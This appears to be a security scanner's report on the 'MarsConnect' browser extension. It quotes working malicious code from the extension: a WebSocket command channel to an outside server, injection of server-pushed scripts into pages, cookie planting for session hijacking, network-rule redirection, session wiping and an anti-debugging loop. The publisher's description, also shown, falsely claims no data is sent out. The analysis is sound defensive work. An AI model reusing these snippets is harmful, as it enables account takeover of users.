MarsConnect
ID: cldemkeecebhnjipedpghophnhhhdebi
Supported Languages
Extension Info & Metadata
This publisher
19 extensions, 15 no longer listed on the store
Publisher Contextual Analysis
- Author
- MarsLinkerView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- Yes
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Suspicious behaviour found
CautionVerdict for MarsConnect: Caution.
- Our reviewer found behaviour consistent with malware, but not enough to confirm it.
- Treat this extension as untrusted until it has been re-reviewed.
The background service worker establishes a persistent STOMP WebSocket connection to `auths.symbols.ltd:9528`, a server completely unrelated to the publisher's stated domain (`marsead.com`). On connect it registers all stored site tokens and subscribes to per-site topics, meaning the remote server can push commands to the extension at any time. This is the C2 channel for the entire malicious infrastructure.
brokerURL: `wss://auths.symbols.ltd:9528/ws/marslinker?t=${crypto.randomUUID()}`, heartbeatIncoming: 1e4, heartbeatOutgoing: 1e4, reconnectDelay: 5e3, webSocketFactory: () => new WebSocket( `wss://auths.symbols.ltd:9528/ws/marslinker?t=${crypto.randomUUID()}`), onConnect: e => { console.log("ws connected."); let r = Ze.getMap(), t = [], a = []; for (const [c, l] of Object.entries(r)) l.invalid || (t.push(l.token), a.push(c)); Ma(t), Ra.clear(), a.forEach(c => { let l = `/topic/${c}`; const d = Le?.subscribe(l, Ca); Ra.set(l, d) }), Le?.subscribe("/user/queue/private", Ca) },`ra(U)` decodes a base64+zlib-compressed JavaScript string received from the C2 server (`cr` map is populated in the WebSocket `Ca` handler at line 9741: `cr.set(l, a.script)`). The decoded string is then injected into the matching page tab via `tabs.sendMessage`, which content.js relays to the MAIN-world `mainutils.js` (declared in manifest but absent from the bundle). This is server-driven remote code execution inside arbitrary websites the user visits.
case "_i": { const d = cr.getMap(), h = _t.getMap(); let I = 'window.$timer.stop("_i")'; for (const _ of Object.keys(d)) { const y = _.replaceAll("www.", "(?:[a-zA-Z0-9-]+.)?").replaceAll(".", "."); if (c.url.search(`https://${y}/.*`) > -1) { if (!h[_]) break; const U = d[_]; if (!U) break; I = ra(U); break } } ve.tabs.sendMessage(c?.tab?.id, I, _ => {}); break}This function sets arbitrary cookies (name, value, domain, path, httpOnly, sameSite) on target websites. The cookie payloads come from the C2 server, decoded via `ra()` from `h.coos` (line 8819). Setting server-supplied cookies on third-party sites is the classic session-injection mechanism for account takeover ā it allows the C2 operator to plant authenticated session cookies into the victim's browser without knowing the user's password.
const Ad = function(e, r) { if (!e || e.length === 0) return; const t = new Date().getTime() / 1e3; let a = r || 10; ve.runtime.getPlatformInfo().then(c => { c.os === "ios" && (a = 14400); for (let l of e) { let d = {}; ["name", "value", "domain", "path", "secure", "httpOnly", "sameSite"].forEach(h => { d[h] = l[h] }), d.name.indexOf("__Host-") === 0 && (d.secure = !0), d.sameSite === "lax" && (d.secure = !0), d .expirationDate = t + a, d.url = Qf(d.secure, d.domain, d.path), d.name.indexOf("__Host-") === 0 && delete d.domain; try { ve.cookies.set(d) } catch {} } }) },Network redirect/block rules are populated from `ur` (the server-supplied rule map at line 9741: `ur.set(l, a.rule)`), decoded via `ra()` and parsed as JSON. Any change to the server-side rule set is immediately applied as session-level `declarativeNetRequest` rules, giving the C2 operator full ability to redirect or block network requests on target sites ā for example, to intercept authentication flows or redirect password-change endpoints.
_t.watch(t => { Object.entries(t).forEach(([a, c]) => { c || wn(a) }), r(t, ur.getMap())}), ur.watch(t => { r(_t.getMap(), t)});// r() body:ve.declarativeNetRequest.getSessionRules().then(d => { ve.declarativeNetRequest.updateSessionRules({ removeRuleIds: d ? d.map(h => h.id) : [], addRules: l })})The popup's "new order" flow fetches a token and target site from the C2 API at `auths.symbols.ltd:9528/marslinker/binding2/<code>` using a user-supplied subscription code ("č®¢é ē¼ē "). The returned token is stored and used to authenticate the STOMP WebSocket channel. This confirms the commercial session-hijacking-as-a-service model: users buy subscription codes to "connect" their browser to a C2-controlled target website session.
const h = await (await fetch("https://auths.symbols.ltd:9528/marslinker/binding2/" + C.code)).json();h && h.retCode && (rt.runtime.sendMessage({ cmd: "_ss", data: { token: h.data[0], site: h.data[1] }}), n.back()), h.retMsg === "binding successfully." ? p("č®¢é
ęå") : p(h.retMsg)The `wn` function, triggered by the C2 server (command `_c`/`_d` or token invalidation), erases all cookies, indexedDB, and localStorage for a target origin, then calls `od()` in the page context. This allows the operator to wipe a user's existing session on a site immediately before planting a different session via `Ad()` (cookie injection), ensuring a clean session swap for account takeover.
const wn = function(e) { let r = { since: 0 }; if (ve.runtime.getBrowserInfo) r.hostnames = [e.replace(/^[^.]*\./, "")]; else { let t = Ze.getMap(); r.origins = [`https://${e}`]; let a = t[e].home?.split("/")[0]; a && a !== e && r.origins.push(`https://${a}`) } ve.browsingData.remove(r, { cookies: !0, indexedDB: !0, localStorage: !0 }, () => {}), Hs("od()", e, () => {})};A `debugger` statement fires every 100 ms via `setInterval` at extension startup. This is a well-known anti-analysis technique: when DevTools is open, the debugger pauses execution 10 times per second, making it extremely difficult to step through code or observe runtime behavior. Its presence alongside the malicious C2 infrastructure confirms intentional anti-forensics.
setInterval(() => { debugger}, 100), Ed(), Cd(),The manifest declares `content-scripts/mainutils.js` as a MAIN-world content script (injected into the page's own JavaScript context), but this file is absent from the extension bundle. The background code sends server-provided script strings to tabs and references page-side functions `udt()` and `od()` that must be defined in `mainutils.js`. Its absence from the ZIP suggests the file may be delivered or replaced dynamically, or that the analyzed build is intentionally incomplete to obscure the final execution stage.
{ "content_scripts": [ { "matches": [ "<all_urls>" ], "run_at": "document_start", "js": [ "content-scripts/content.js" ] }, { "matches": [ "<all_urls>" ], "run_at": "document_end", "js": [ "content-scripts/mainutils.js" ], "world": "MAIN" } ]}By severity
Versions scanned
Showing 1 of 6 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.1.4 | 8 |
Files with findings
3 distinct paths ā top paths by unique finding count:
- background.js6
- chunks/NewOrder-B1IZvDJQ.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
About this extension
MarsConnect helps you temporarily connect data between different browser clients and provides refined control.
Read the publisherās full description
MarsConnect ā Effortless Data Coordination Across Browser Clients MarsConnect is a powerful and versatile browser extension designed to facilitate seamless, temporary data sharing and coordination between different browser clients. Whether you are working across multiple devices, using separate browser profiles, or collaborating remotely with colleagues, MarsConnect bridges the gap between browser sessions without the need for complex setups or user accounts. Its refined control mechanisms and robust privacy practices provide users with a secure and flexible way to connect, synchronize, and transfer relevant data efficiently. At its core, MarsConnect leverages advanced browser APIs to relay information between various browser instances in real-time. The extension operates via a secure background service combined with content scripts, allowing users to push or pull diverse data types such as clipboard contents, session states, application-specific data, or custom messages. This ensures operations remain transient and fully user-controlled, with no permanent storage of data, minimizing privacy risks and increasing user trust. The user interface is designed to be modern, lightweight, and easily accessible from a browser action popup. Upon activation, MarsConnect offers straightforward options to share data, connect to other clients, or receive information. Behind the scenes, sophisticated event listeners monitor data signals and coordinate transfer operations instantly, all without relying on traditional cloud-based syncing or accounts. This temporary data exchange model ensures that your browser data remains yours, used only as long as you need it. MarsConnect also stands out with its refined control system, offering granular permissions and declarative network request handling. This capability enables it to interact reliably with almost any webpage, making it highly useful not only for everyday users but also for developers, testers, and power users who require precise control over their browser environment. Additionally, the extension includes built-in debugging and logging tools, providing transparency into background activity and facilitating troubleshooting. Ideal use cases for MarsConnect include: - Developers seeking quick and efficient cross-device testing. - Remote teams needing to transfer session data or share links during collaboration. - Users managing multiple browser profiles who want simplified clipboard or data transfers. MarsConnect is dedicated to security and privacy, providing an ad-free experience with no unnecessary tracking or cloud lock-in. It ensures your data transfers are transient and performed locally, establishing a direct and secure connection between browsers. Key Features: - Temporary, Real-Time Data Connectivity: Quickly and securely share or transfer data between different browser clients with operations that are ephemeral and user-controlled. - Simple and Intuitive Interface: Access MarsConnect via an easy-to-use popup menu with clear options to send, receive, or connect data. - Full Host and Network Access: Compatible with nearly any webpage, enhancing the extensionās flexibility and usability across diverse browsing contexts. - Robust Event Mechanism: Employs custom browser events and scripts to guarantee precise, fast, and reliable data relay. - Developer Utilities & Debugging: Built-in logging and utility scripts empower advanced users to troubleshoot or customize data transmission workflows. - Flexible Permissions: Makes use of declarative network request management, cookie handling, and alarms to provide granular control over browsing interactions. - Cross-Browser and Profile Support: Works smoothly across desktop browsers and different user profiles without requiring any user accounts. How It Works: 1. Install MarsConnect from your browserās extension marketplace. 2. Activate the extension via the MarsConnect popup icon in your browser toolbar. 3. Select the send option, then copy the relevant text or session data and initiate pushing it to the MarsConnect client. 4. On a different browser instance, device, or profile, open MarsConnect and choose receive mode; the data is pulled promptly through a secure relay. 5. MarsConnect employs custom events and API messaging to manage the data exchange process, providing real-time feedback and notifications about success or failure. 6. For advanced users, developer utilities enable sophisticated data transmissions, specialized workflows, and debugging insights via detailed logs. 7. Upon completing your temporary session, the transferred data is securely cleared, and the connection is terminated under your control. Privacy: - No personal data collected. Data transfer is transient and initiated solely by the user; MarsConnect operates locally without storing or transmitting data to external servers. See our privacy policy.
Screenshots & videos
Install growth
User reviews
Extension files
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.